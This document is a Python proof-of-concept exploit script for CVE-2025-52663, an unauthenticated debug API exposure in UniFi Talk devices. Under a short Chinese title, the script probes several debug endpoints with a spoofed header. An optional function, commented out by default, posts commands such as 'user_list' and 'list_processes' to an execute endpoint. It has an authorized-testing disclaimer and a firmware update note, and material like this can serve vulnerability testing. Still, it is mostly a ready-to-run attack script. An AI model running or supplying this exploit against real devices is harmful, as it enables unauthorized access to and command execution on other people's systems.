CVE-2025-52663: UniFi Talk设备内部调试功能未授权访问漏洞

# CVE-2025-52663 PoC - UniFi Talk Debug API Access # WARNING: This code is for educational and authorized security testing only # Unauthorized access to computer systems is illegal import requests import json import sys # Configuration TARGET_IP = "192.168.1.100" # Replace with target UniFi Talk device IP TARGET_PORT = 8443 DEBUG_ENDPOINT = "/api/debug" def check_vulnerability(): """ Check if UniFi Talk device is vulnerable to CVE-2025-52663 by attempting to access internal debug functionality. """ print(f"[*] Testing CVE-2025-52663 on {TARGET_IP}:{TARGET_PORT}") # Target URLs for debug endpoints endpoints = [ f"https://{TARGET_IP}:{TARGET_PORT}/api/internal/debug", f"https://{TARGET_IP}:{TARGET_PORT}/api/debug/commands", f"https://{TARGET_IP}:{TARGET_PORT}/api/debug/system/status" ] headers = { "User-Agent": "UniFi-Talk-Debug-Client/1.0", "Content-Type": "application/json", "X-Debug-Access": "enabled" } for endpoint in endpoints: try: print(f"[*] Testing endpoint: {endpoint}") response = requests.get(endpoint, headers=headers, verify=False, timeout=10) # Check if debug functionality is accessible if response.status_code == 200: print(f"[+] VULNERABLE: Debug endpoint accessible at {endpoint}") print(f"[+] Response: {response.text[:500]}") return True elif response.status_code == 401: print(f"[-] Protected: {endpoint} requires authentication") else: print(f"[-] Response code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") print("[*] No accessible debug endpoints found") return False def exploit_debug_commands(): """ Attempt to execute debug commands if vulnerability is confirmed. This demonstrates the potential impact of the vulnerability. """ print("[*] Attempting to execute debug commands...") debug_commands = [ {"cmd": "system_info"}, {"cmd": "list_processes"}, {"cmd": "network_config"}, {"cmd": "user_list"} ] for cmd in debug_commands: try: url = f"https://{TARGET_IP}:{TARGET_PORT}/api/debug/execute" response = requests.post(url, json=cmd, headers={ "Content-Type": "application/json", "User-Agent": "Debug-Client" }, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Command '{cmd['cmd']}' executed successfully") print(f" Result: {response.json()}") except Exception as e: print(f"[-] Command '{cmd['cmd']}' failed: {e}") if __name__ == "__main__": print("CVE-2025-52663 - UniFi Talk Debug Functionality Exposure") print("=" * 60) # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings() is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[!] Device is VULNERABLE to CVE-2025-52663") print("[!] Recommended action: Update firmware immediately") # Uncomment below to test debug commands (authorized testing only) # exploit_debug_commands() else: print("\n[*] Device may not be vulnerable or is already patched") print("[*] Verify the firmware version is >= 1.21.17/2.21.23/3.21.27")